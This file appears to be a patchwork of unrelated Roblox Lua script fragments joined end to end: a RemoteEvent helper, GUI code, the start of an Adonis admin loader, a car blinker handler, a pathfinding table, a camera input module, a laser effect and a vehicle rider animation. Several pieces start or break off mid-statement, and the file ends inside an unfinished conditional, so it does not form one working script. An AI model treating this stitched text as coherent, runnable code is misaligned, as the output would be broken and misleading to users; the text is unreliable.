local require = require(script.Parent.loader).load(script) local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local ResourceConstants = require("ResourceConstants") if not RunService:IsRunning() then return function(name) local event = Instance.new("RemoteEvent") event.Archivable = false event.Name = "Mock" .. name return event end elseif RunService:IsServer() then return function(name) assert(type(name) == "string", "Bad name") local storage = ReplicatedStorage:FindFirstChild(ResourceConstants.REMOTE_EVENT_STORAGE_NAME) if not storage then storage = Instance.new("Folder") storage.Name = ResourceConstants.REMOTE_EVENT_STORAGE_NAME storage.Archivable = false storage.Parent = ReplicatedStorage end local event = storage:FindFirstChild(name) if event then return event end event = Instance.new("RemoteEvent") event.Name = name event.Archivable = false event.Parent = storage return event end else -- RunService:IsClient() return function(name) assert(type(name) == "string", "Bad name") return ReplicatedStorage:WaitForChild(ResourceConstants.REMOTE_EVENT_STORAGE_NAME):WaitForChild(name) end end
-- Get references to the DockShelf and its children
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf local aFinderButton = dockShelf.DRoblox local Minimalise = script.Parent local window = script.Parent.Parent.Parent
--// Holiday roooaaAaaoooAaaooOod
local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, spawn, delay, task, assert = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, table.unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, task.wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, task.defer, task.delay, task, function(cond, errMsg) return cond or error(errMsg or "assertion failed!", 2) end; local SERVICES_WE_USE = table.freeze { "Workspace"; "Players"; "Lighting"; "ServerStorage"; "ReplicatedStorage"; "JointsService"; "ReplicatedFirst"; "ScriptContext"; "ServerScriptService"; "LogService"; "Teams"; "SoundService"; "StarterGui"; "StarterPack"; "StarterPlayer"; "GroupService"; "MarketplaceService"; "MarketplaceService"; "TestService"; "HttpService"; "RunService"; "InsertService"; "NetworkServer"; } local unique = {} local origEnv = getfenv(); setfenv(1,setmetatable({}, {__metatable = unique})) local locals = {} local server = {} local service = {} local RbxEvents = {} local ErrorLogs = {} local HookedEvents = {} local ServiceSpecific = {} local oldReq = require local Folder = script.Parent local oldInstNew = Instance.new local isModule = function(module) for ind, modu in pairs(server.Modules) do if module == modu then return true end end return false end local logError = function(plr, err) if type(plr) == "string" and not err then err = plr; plr = nil; end if server.Core and server.Core.DebugMode then warn("::Adonis:: Error: "..tostring(plr)..": "..tostring(err)) end if server and server.Logs then server.Logs.AddLog(server.Logs.Errors, { Text = ((err and plr and tostring(plr) ..":") or "").. tostring(err), Desc = err, Player = plr }) end end
--WeldRec(P.Parent.Lights)
local model = script.Parent for _,v in pairs(script.Parent:GetChildren()) do v.Parent = model.Parent end model:Destroy() script:Destroy()
-- carSeat.Parent.Misc.IL.SS.Motor.DesiredAngle = 0.3
wait(1/3) Debounce = false end elseif k == 'c' then -- right if not Debounce then Debounce = true handler:FireServer('blinkers', 'Right')
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{61,59,41,30,56,58},t}, [49]={{61,59,41,39,35,34,32,31,29,28,44,45,49},t}, [16]={n,f}, [19]={{61,59,41,30,56,58,20,19},t}, [59]={{61,59},t}, [63]={{61,59,41,30,56,58,23,62,63},t}, [34]={{61,59,41,39,35,34},t}, [21]={{61,59,41,30,56,58,20,21},t}, [48]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48},t}, [27]={{61,59,41,39,35,34,32,31,29,28,27},t}, [14]={n,f}, [31]={{61,59,41,39,35,34,32,31},t}, [56]={{61,59,41,30,56},t}, [29]={{61,59,41,39,35,34,32,31,29},t}, [13]={n,f}, [47]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{61,59,41,39,35,34,32,31,29,28,44,45},t}, [57]={{61,59,41,30,56,57},t}, [36]={{61,59,41,39,35,37,36},t}, [25]={{61,59,41,39,35,34,32,31,29,28,27,26,25},t}, [71]={{61,71},t}, [20]={{61,59,41,30,56,58,20},t}, [60]={{61,60},t}, [8]={n,f}, [4]={n,f}, [75]={{61,71,72,76,73,75},t}, [22]={{61,59,41,30,56,58,20,21,22},t}, [74]={{61,71,72,76,73,74},t}, [62]={{61,59,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{61,59,41,39,35,37},t}, [2]={n,f}, [35]={{61,59,41,39,35},t}, [53]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t}, [73]={{61,71,72,76,73},t}, [72]={{61,71,72},t}, [33]={{61,59,41,39,35,37,36,33},t}, [69]={{61,69},t}, [65]={{61,59,41,30,56,58,20,19,66,64,65},t}, [26]={{61,59,41,39,35,34,32,31,29,28,27,26},t}, [68]={{61,59,41,30,56,58,20,19,66,64,67,68},t}, [76]={{61,71,72,76},t}, [50]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t}, [66]={{61,59,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{61,59,41,39,35,34,32,31,29,28,27,26,25,24},t}, [23]={{61,59,41,30,56,58,23},t}, [44]={{61,59,41,39,35,34,32,31,29,28,44},t}, [39]={{61,59,41,39},t}, [32]={{61,59,41,39,35,34,32},t}, [3]={n,f}, [30]={{61,59,41,30},t}, [51]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{61,59,41,30,56,58,20,19,66,64,67},t}, [61]={{61},t}, [55]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t}, [42]={{61,59,41,39,40,38,42},t}, [40]={{61,59,41,39,40},t}, [52]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t}, [54]={{61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{61,59,41},t}, [17]={n,f}, [38]={{61,59,41,39,40,38},t}, [28]={{61,59,41,39,35,34,32,31,29,28},t}, [5]={n,f}, [64]={{61,59,41,30,56,58,20,19,66,64},t}, } return r
--//Custom Functions\\--
function FindRigType() characterRigType = rigType:InvokeServer(tool) print(characterRigType.." rig found.") end function activate() if specialDB then specialDB = false activateSpecial:FireServer(mouse.Hit) else end end
-- Adjust the touch sensitivity so that sensitivity is reduced when swiping up -- or down, but stays the same when swiping towards the middle of the screen
local function adjustTouchPitchSensitivity(delta: Vector2): Vector2 local camera = workspace.CurrentCamera if not camera then return delta end -- get the camera pitch in world space local pitch = camera.CFrame:ToEulerAnglesYXZ() if delta.Y*pitch >= 0 then -- do not reduce sensitivity when pitching towards the horizon return delta end -- set up a line to fit: -- 1 = f(0) -- 0 = f(±pi/2) local curveY = 1 - (2*math.abs(pitch)/math.pi)^0.75 -- remap curveY from [0, 1] -> [MIN_TOUCH_SENSITIVITY_FRACTION, 1] local sensitivity = curveY*(1 - MIN_TOUCH_SENSITIVITY_FRACTION) + MIN_TOUCH_SENSITIVITY_FRACTION return Vector2.new(1, sensitivity)*delta end local function isInDynamicThumbstickArea(pos: Vector3): boolean local playerGui = player:FindFirstChildOfClass("PlayerGui") local touchGui = playerGui and playerGui:FindFirstChild("TouchGui") local touchFrame = touchGui and touchGui:FindFirstChild("TouchControlFrame") local thumbstickFrame = touchFrame and touchFrame:FindFirstChild("DynamicThumbstickFrame") if not thumbstickFrame then return false end if not touchGui.Enabled then return false end local posTopLeft = thumbstickFrame.AbsolutePosition local posBottomRight = posTopLeft + thumbstickFrame.AbsoluteSize return pos.X >= posTopLeft.X and pos.Y >= posTopLeft.Y and pos.X <= posBottomRight.X and pos.Y <= posBottomRight.Y end local worldDt = 1/60 RunService.Stepped:Connect(function(_, _worldDt) worldDt = _worldDt end) local CameraInput = {} do local connectionList = {} local panInputCount = 0 local function incPanInputCount() panInputCount = math.max(0, panInputCount + 1) end local function decPanInputCount() panInputCount = math.max(0, panInputCount - 1) end local function resetPanInputCount() panInputCount = 0 end local touchPitchSensitivity = 1 local gamepadState = { Thumbstick2 = Vector2.new(), } local keyboardState = { Left = 0, Right = 0, I = 0, O = 0 } local mouseState = { Movement = Vector2.new(), Wheel = 0, -- PointerAction Pan = Vector2.new(), -- PointerAction Pinch = 0, -- PointerAction } local touchState = { Move = Vector2.new(), Pinch = 0, } local gamepadZoomPressBindable = Instance.new("BindableEvent") CameraInput.gamepadZoomPress = gamepadZoomPressBindable.Event local gamepadResetBindable = VRService.VREnabled and Instance.new("BindableEvent") or nil if VRService.VREnabled then CameraInput.gamepadReset = gamepadResetBindable.Event end function CameraInput.getRotationActivated(): boolean return panInputCount > 0 or gamepadState.Thumbstick2.Magnitude > 0 end function CameraInput.getRotation(disableKeyboardRotation: boolean?): Vector2 local inversionVector = Vector2.new(1, UserGameSettings:GetCameraYInvertValue()) -- keyboard input is non-coalesced, so must account for time delta local kKeyboard = Vector2.new(keyboardState.Right - keyboardState.Left, 0)*worldDt local kGamepad = gamepadState.Thumbstick2 local kMouse = mouseState.Movement local kPointerAction = mouseState.Pan local kTouch = adjustTouchPitchSensitivity(touchState.Move) if disableKeyboardRotation then kKeyboard = Vector2.new() end local result = kKeyboard*ROTATION_SPEED_KEYS + kGamepad*ROTATION_SPEED_GAMEPAD + kMouse*ROTATION_SPEED_MOUSE + kPointerAction*ROTATION_SPEED_POINTERACTION + kTouch*ROTATION_SPEED_TOUCH return result*inversionVector end function CameraInput.getZoomDelta(): number local kKeyboard = keyboardState.O - keyboardState.I local kMouse = -mouseState.Wheel + mouseState.Pinch local kTouch = -touchState.Pinch return kKeyboard*ZOOM_SPEED_KEYS + kMouse*ZOOM_SPEED_MOUSE + kTouch*ZOOM_SPEED_TOUCH end do local function thumbstick(action, state, input) local position = input.Position gamepadState[input.KeyCode.Name] = Vector2.new(thumbstickCurve(position.X), -thumbstickCurve(position.Y)) return Enum.ContextActionResult.Pass end local function mouseMovement(input) local delta = input.Delta mouseState.Movement = Vector2.new(delta.X, delta.Y) end local function mouseWheel(action, state, input) mouseState.Wheel = input.Position.Z return Enum.ContextActionResult.Pass end local function keypress(action, state, input) keyboardState[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0 end local function gamepadZoomPress(action, state, input) if state == Enum.UserInputState.Begin then gamepadZoomPressBindable:Fire() end end local function gamepadReset(action, state, input) if state == Enum.UserInputState.Begin then gamepadResetBindable:Fire() end end local function resetInputDevices() for _, device in pairs({ gamepadState, keyboardState, mouseState, touchState, }) do for k, v in pairs(device) do if type(v) == "boolean" then device[k] = false else device[k] *= 0 -- Mul by zero to preserve vector types end end end end local touchBegan, touchChanged, touchEnded, resetTouchState do -- Use TouchPan & TouchPinch when they work in the Studio emulator local touches: {[InputObject]: boolean?} = {} -- {[InputObject] = sunk} local dynamicThumbstickInput: InputObject? -- Special-cased local lastPinchDiameter: number? function touchBegan(input: InputObject, sunk: boolean) assert(input.UserInputType == Enum.UserInputType.Touch) assert(input.UserInputState == Enum.UserInputState.Begin) if dynamicThumbstickInput == nil and isInDynamicThumbstickArea(input.Position) and not sunk then -- any finger down starting in the dynamic thumbstick area should always be -- ignored for camera purposes. these must be handled specially from all other -- inputs, as the DT does not sink inputs by itself dynamicThumbstickInput = input return end if not sunk then incPanInputCount() end -- register the finger touches[input] = sunk end function touchEnded(input: InputObject, sunk: boolean) assert(input.UserInputType == Enum.UserInputType.Touch) assert(input.UserInputState == Enum.UserInputState.End) -- reset the DT input if input == dynamicThumbstickInput then dynamicThumbstickInput = nil end -- reset pinch state if one unsunk finger lifts if touches[input] == false then lastPinchDiameter = nil decPanInputCount() end -- unregister input touches[input] = nil end function touchChanged(input, sunk) assert(input.UserInputType == Enum.UserInputType.Touch) assert(input.UserInputState == Enum.UserInputState.Change) -- ignore movement from the DT finger if input == dynamicThumbstickInput then return end -- fixup unknown touches if touches[input] == nil then touches[input] = sunk end -- collect unsunk touches local unsunkTouches = {} for touch, sunk in pairs(touches) do if not sunk then table.insert(unsunkTouches, touch) end end -- 1 finger: pan if #unsunkTouches == 1 then if touches[input] == false then local delta = input.Delta touchState.Move += Vector2.new(delta.X, delta.Y) -- total touch pan movement (reset at end of frame) end end -- 2 fingers: pinch if #unsunkTouches == 2 then local pinchDiameter = (unsunkTouches[1].Position - unsunkTouches[2].Position).Magnitude if lastPinchDiameter then touchState.Pinch += pinchDiameter - lastPinchDiameter end lastPinchDiameter = pinchDiameter else lastPinchDiameter = nil end end function resetTouchState() touches = {} dynamicThumbstickInput = nil lastPinchDiameter = nil if FFlagUserResetTouchStateOnMenuOpen then resetPanInputCount() end end end local function pointerAction(wheel, pan, pinch, gpe) if not gpe then mouseState.Wheel = wheel mouseState.Pan = pan mouseState.Pinch = -pinch end end local function inputBegan(input, sunk) if input.UserInputType == Enum.UserInputType.Touch then touchBegan(input, sunk) elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not sunk then incPanInputCount() end end local function inputChanged(input, sunk) if input.UserInputType == Enum.UserInputType.Touch then touchChanged(input, sunk) elseif input.UserInputType == Enum.UserInputType.MouseMovement then mouseMovement(input) end end local function inputEnded(input, sunk) if input.UserInputType == Enum.UserInputType.Touch then touchEnded(input, sunk) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then decPanInputCount() end end local inputEnabled = false function CameraInput.setInputEnabled(_inputEnabled) if inputEnabled == _inputEnabled then return end inputEnabled = _inputEnabled resetInputDevices() resetTouchState() if inputEnabled then -- enable ContextActionService:BindActionAtPriority( "RbxCameraThumbstick", thumbstick, false, CAMERA_INPUT_PRIORITY, Enum.KeyCode.Thumbstick2 ) ContextActionService:BindActionAtPriority( "RbxCameraKeypress", keypress, false, CAMERA_INPUT_PRIORITY, Enum.KeyCode.Left, Enum.KeyCode.Right, Enum.KeyCode.I, Enum.KeyCode.O ) if VRService.VREnabled then ContextActionService:BindAction( "RbxCameraGamepadReset", gamepadReset, false, Enum.KeyCode.ButtonL3 ) end ContextActionService:BindAction( "RbxCameraGamepadZoom", gamepadZoomPress, false, Enum.KeyCode.ButtonR3 ) table.insert(connectionList, UserInputService.InputBegan:Connect(inputBegan)) table.insert(connectionList, UserInputService.InputChanged:Connect(inputChanged)) table.insert(connectionList, UserInputService.InputEnded:Connect(inputEnded)) table.insert(connectionList, UserInputService.PointerAction:Connect(pointerAction)) if FFlagUserResetTouchStateOnMenuOpen then local GuiService = game:GetService("GuiService") table.insert(connectionList, GuiService.MenuOpened:connect(resetTouchState)) end else -- disable ContextActionService:UnbindAction("RbxCameraThumbstick") ContextActionService:UnbindAction("RbxCameraMouseMove") ContextActionService:UnbindAction("RbxCameraMouseWheel") ContextActionService:UnbindAction("RbxCameraKeypress") ContextActionService:UnbindAction("RbxCameraGamepadZoom") if VRService.VREnabled then ContextActionService:UnbindAction("RbxCameraGamepadReset") end for _, conn in pairs(connectionList) do conn:Disconnect() end connectionList = {} end end function CameraInput.getInputEnabled() return inputEnabled end function CameraInput.resetInputForFrameEnd() mouseState.Movement = Vector2.new() touchState.Move = Vector2.new() touchState.Pinch = 0 mouseState.Wheel = 0 -- PointerAction mouseState.Pan = Vector2.new() -- PointerAction mouseState.Pinch = 0 -- PointerAction end UserInputService.WindowFocused:Connect(resetInputDevices) UserInputService.WindowFocusReleased:Connect(resetInputDevices) end end
--DO NOT MESS WITH THIS SCRIPT UNLESS YOU REALLY NEED TOO!!!!!!!!!!!!!!
--Made by Luckymaxer
Debris = game:GetService("Debris") Camera = game:GetService("Workspace").CurrentCamera Sounds = { RayHit = script:WaitForChild("Hit") } BasePart = Instance.new("Part") BasePart.Shape = Enum.PartType.Block BasePart.Material = Enum.Material.Plastic BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = true BasePart.Locked = true BasePart.Anchored = false BaseRay = BasePart:Clone() BaseRay.Name = "Laser" BaseRay.BrickColor = BrickColor.new("New Yeller") BaseRay.Material = Enum.Material.SmoothPlastic BaseRay.Size = Vector3.new(0.2, 0.2, 0.2) BaseRay.Anchored = true BaseRay.CanCollide = false BaseRayMesh = Instance.new("SpecialMesh") BaseRayMesh.Name = "Mesh" BaseRayMesh.MeshType = Enum.MeshType.Brick BaseRayMesh.Scale = Vector3.new(0.2, 0.2, 1) BaseRayMesh.Offset = Vector3.new(0, 0, 0) BaseRayMesh.VertexColor = Vector3.new(1, 1, 1) BaseRayMesh.Parent = BaseRay function PlaySound(Position, Sound) local SoundPart = BasePart:Clone() SoundPart.Name = "ParticlePart" SoundPart.Transparency = 1 SoundPart.Anchored = true SoundPart.CanCollide = false local SoundObject = Sound:Clone() SoundObject.Parent = SoundPart Debris:AddItem(SoundPart, 1.5) SoundPart.Parent = game:GetService("Workspace") SoundPart.CFrame = CFrame.new(Position) SoundObject:Play() end function FireRay(StartPosition, TargetPosition, Hit) local Vec = (TargetPosition - StartPosition) local Distance = Vec.magnitude local Direction = Vec.unit local PX = (StartPosition + (0.25 * Distance) * Direction) local PY = (StartPosition + (0.5 * Distance) * Direction) local PZ = (StartPosition + (0.75 * Distance) * Direction) local DX = (StartPosition - PX).magnitude local DY = (PX - PY).magnitude local DZ = (PY - PZ).magnitude local Limit = 2 local AX = (PX + Vector3.new(math.random(math.max(-Limit, (-0.21 * DX)), math.min(Limit, (0.21 * DX))),math.random(math.max(-Limit, (-0.21 * DX)),math.min(Limit, (0.21 * DX))), math.random(math.max(-Limit, (-0.21 * DX)), math.min(Limit, (0.21 * DX))))) local AY = (PY + Vector3.new(math.random(math.max(-Limit, (-0.21 * DY)), math.min(Limit, (0.21 * DY))),math.random(math.max(-Limit, (-0.21 * DY)),math.min(Limit, (0.21 * DY))), math.random(math.max(-Limit, (-0.21 * DY)), math.min(Limit, (0.21 * DY))))) local AZ = (PZ + Vector3.new(math.random(math.max(-Limit, (-0.21 * DZ)), math.min(Limit, (0.21 * DZ))),math.random(math.max(-Limit, (-0.21 * DZ)),math.min(Limit, (0.21 * DZ))), math.random(math.max(-Limit, (-0.21 * DZ)), math.min(Limit, (0.21 * DZ))))) local Rays = { {Distance = (AX - StartPosition).magnitude, Direction = CFrame.new(StartPosition, AX)}, {Distance = (AY - AX).magnitude, Direction = CFrame.new(AX, AY)}, {Distance = (AZ - AY).magnitude, Direction = CFrame.new(AY, AZ)}, {Distance = (TargetPosition - AZ).magnitude, Direction = CFrame.new(AZ, TargetPosition)}, } for i, v in pairs(Rays) do local Ray = BaseRay:Clone() Ray.BrickColor = BrickColor.new("New Yeller") Ray.Reflectance = 0.4 Ray.Transparency = 0.7 local Mesh = Ray.Mesh Mesh.Scale = (Vector3.new(0.15, 0.15, (v.Distance / 1)) * 5) Ray.CFrame = (v.Direction * CFrame.new(0, 0, (-0.5 * v.Distance))) Debris:AddItem(Ray, (0.1 / (#Rays - (i - 1)))) Ray.Parent = Camera end end pcall(function() local StartPosition = script:WaitForChild("StartPosition").Value local TargetPosition = script:WaitForChild("TargetPosition").Value local RayHit = script:WaitForChild("RayHit").Value FireRay(StartPosition, TargetPosition) if RayHit then PlaySound(TargetPosition, Sounds.RayHit) end end) Debris:AddItem(script, 1)
--Dont touch
ZR15RightLegPointZero = 0 XR15RightLegPointZero = 0 YR15RightLegPointZero = 0 R15RightKneePointZero = 0 ZR15RightArmPointZero = 0 YR15RightArmPointZero = 0 XR15RightArmPointZero = 0 R15RightElbowPointZero = 0 ZR15LeftLegPointZero = 0 XR15LeftLegPointZero = 0 YR15LeftLegPointZero = 0 R15LeftKneePointZero = 0 ZR15LeftArmPointZero = 0 YR15LeftArmPointZero = 0 XR15LeftArmPointZero = 0 R15LeftElbowPointZero = 0 ZR15LowerTorsoPointZero = 0 XR15LowerTorsoPointZero = 0 YR15LowerTorsoPointZero = 0 ZR15UpperTorsoPointZero = 0 car.DriveSeat.ChildRemoved:connect(function(child) handler:FireServer("RemovePlayer",C,child) end) handler:FireServer("CreatePlayer",C) while wait(clock) do --value*(1-multiplier)+endpoint*multiplier Lean = math.rad(-car.Body.bal.Orientation.Z) if C.Humanoid.RigType == Enum.HumanoidRigType.R6 then if math.abs(Lean) < R6HeadZ then car.Misc.Anims.R6.Head.Z.M.CurrentAngle = math.abs(Lean) else car.Misc.Anims.R6.Head.Z.M.CurrentAngle = R6HeadZ end if Lean < R6HeadX and Lean > -R6HeadX then car.Misc.Anims.R6.Head.X.M.CurrentAngle = Lean elseif Lean > R6HeadX then car.Misc.Anims.R6.Head.X.M.CurrentAngle = R6HeadX elseif Lean < -R6HeadX then car.Misc.Anims.R6.Head.X.M.CurrentAngle = -R6HeadX end if script.Parent.Values.SteerT.Value > 0.01 then car.Misc.Anims.R6.Head.Y.M.CurrentAngle = car.Misc.Anims.R6.Head.Y.M.CurrentAngle*(1-.1)+math.min((math.abs(script.Parent.Values.SteerT.Value)*(car.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*R6HeadYStart), R6HeadYFinish)*.1 elseif script.Parent.Values.SteerT.Value < -0.01 then car.Misc.Anims.R6.Head.Y.M.CurrentAngle = car.Misc.Anims.R6.Head.Y.M.CurrentAngle*(1-.1)+math.max(-(math.abs(script.Parent.Values.SteerT.Value)*(car.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*-R6HeadYStart), -R6HeadYFinish)*.1 else car.Misc.Anims.R6.Head.Y.M.CurrentAngle = car.Misc.Anims.R6.Head.Y.M.CurrentAngle*(1-.1)+0*.1 end if car.DriveSeat.Velocity.magnitude > 5 then if Lean < 0 then car.Misc.Anims.R6.RightLeg.I.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.I.M.CurrentAngle*(1-.1)+0*.1 car.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6RightLegLeftLeanD),R6RightLegLeftLean)*R6RightLegLeftLeanM))*.1 car.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle = car.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle*(1-.1)+0*.1 car.Misc.Anims.R6.RightArm.Y.M.CurrentAngle = car.Misc.Anims.R6.RightArm.Y.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6RightArmLeftLeanD),R6RightArmLeftLean)*R6RightArmLeftLeanM))*.1 car.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle = car.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6LeftArmLeftLeanD),R6LeftArmLeftLean)*R6LeftArmLeftLeanM))*.1 car.Misc.Anims.R6.RightLeg.X.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.X.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6RightLegLeftLeanD),R6RightLegLeftLean)*R6RightLegLeftLeanM))*.1 car.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle = car.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6LeftLegLeftLeanD),R6LeftLegLeftLean)*R6LeftLegLeftLeanM))*.1 car.Misc.Anims.R6.Torso.X.M.CurrentAngle = car.Misc.Anims.R6.Torso.X.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6TorsoLeftLeanD),R6TorsoLeftLean)*R6TorsoLeftLeanM))*.1 else car.Misc.Anims.R6.RightLeg.I.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.I.M.CurrentAngle*(1-.1)+0*.1 car.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle*(1-.1)+0*.1 car.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle = car.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6LeftLegRightLeanD),R6LeftLegRightLean)*R6LeftLegRightLeanM))*.1 car.Misc.Anims.R6.RightArm.Y.M.CurrentAngle = car.Misc.Anims.R6.RightArm.Y.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6RightArmRightLeanD),R6RightArmRightLean)*R6RightArmRightLeanM))*.1 car.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle = car.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6LeftArmRightLeanD),R6LeftArmRightLean)*R6LeftArmRightLeanM))*.1 car.Misc.Anims.R6.RightLeg.X.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.X.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6RightLegRightLeanD),R6RightLegRightLean)*R6RightLegRightLeanM))*.1 car.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle = car.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6LeftLegRightLeanD),R6LeftLegRightLean)*R6LeftLegRightLeanM))*.1 car.Misc.Anims.R6.Torso.X.M.CurrentAngle = car.Misc.Anims.R6.Torso.X.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6TorsoRightLeanD),R6TorsoRightLean)*R6TorsoRightLeanM))*.1 end else car.Misc.Anims.R6.Torso.X.M.CurrentAngle = car.Misc.Anims.R6.Torso.X.M.CurrentAngle*(1-.1)+(-.3)*.1 car.Misc.Anims.R6.RightArm.Y.M.CurrentAngle = car.Misc.Anims.R6.RightArm.Y.M.CurrentAngle*(1-.1)+(-.3)*.1 car.Misc.Anims.R6.RightArm.Z.M.CurrentAngle = car.Misc.Anims.R6.RightArm.Z.M.CurrentAngle*(1-.1)+.5*.1 car.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle = car.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle*(1-.1)+.4*.1 car.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle = car.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle*(1-.1)+.2*.1 car.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle = car.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle*(1-.1)+.3*.1 car.Misc.Anims.R6.RightLeg.I.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.I.M.CurrentAngle*(1-.1)+1*.1 car.Misc.Anims.R6.RightLeg.X.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.X.M.CurrentAngle*(1-.1)+.8*.1 car.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle*(1-.1)+.5*.1 end if car.DriveSeat.Velocity.magnitude > TuckInSpeed then car.Misc.Anims.R6.Torso.Z.M.CurrentAngle = car.Misc.Anims.R6.Torso.Z.M.CurrentAngle*(1-.1)+((R6TorsoTuckIn-math.min(math.abs(Lean),R6TorsoTuckIn))*script.Parent.Values.Throttle.Value)*.1 car.Misc.Anims.R6.RightArm.Z.M.CurrentAngle = car.Misc.Anims.R6.RightArm.Z.M.CurrentAngle*(1-.1)+((R6RightArmTuckIn-math.min(math.abs(Lean),R6RightArmTuckIn))*script.Parent.Values.Throttle.Value)*.1 car.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle = car.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle*(1-.1)+((R6LeftArmTuckIn-math.min(math.abs(Lean),R6LeftArmTuckIn))*script.Parent.Values.Throttle.Value)*.1 else car.Misc.Anims.R6.Torso.Z.M.CurrentAngle = car.Misc.Anims.R6.Torso.Z.M.CurrentAngle*(1-.15)+0*.15 car.Misc.Anims.R6.RightArm.Z.M.CurrentAngle = car.Misc.Anims.R6.RightArm.Z.M.CurrentAngle*(1-.15)+0*.15 car.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle = car.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle*(1-.15)+0*.15 end else --r15 if math.abs(Lean) < R15HeadZ then car.Misc.Anims.R15.Torso.Head.Z.M.CurrentAngle = math.abs(Lean) else car.Misc.Anims.R15.Torso.Head.Z.M.CurrentAngle = R15HeadZ end if Lean < R15HeadX and Lean > -R15HeadX then car.Misc.Anims.R15.Torso.Head.X.M.CurrentAngle = Lean elseif Lean > R15HeadX then car.Misc.Anims.R15.Torso.Head.X.M.CurrentAngle = R15HeadX elseif Lean < -R15HeadX then car.Misc.Anims.R15.Torso.Head.X.M.CurrentAngle = -R15HeadX end if script.Parent.Values.SteerT.Value > 0.01 then car.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle = car.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle*(1-.1)+math.min((math.abs(script.Parent.Values.SteerT.Value)*(car.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*R15HeadYStart), R15HeadYFinish)*.1 elseif 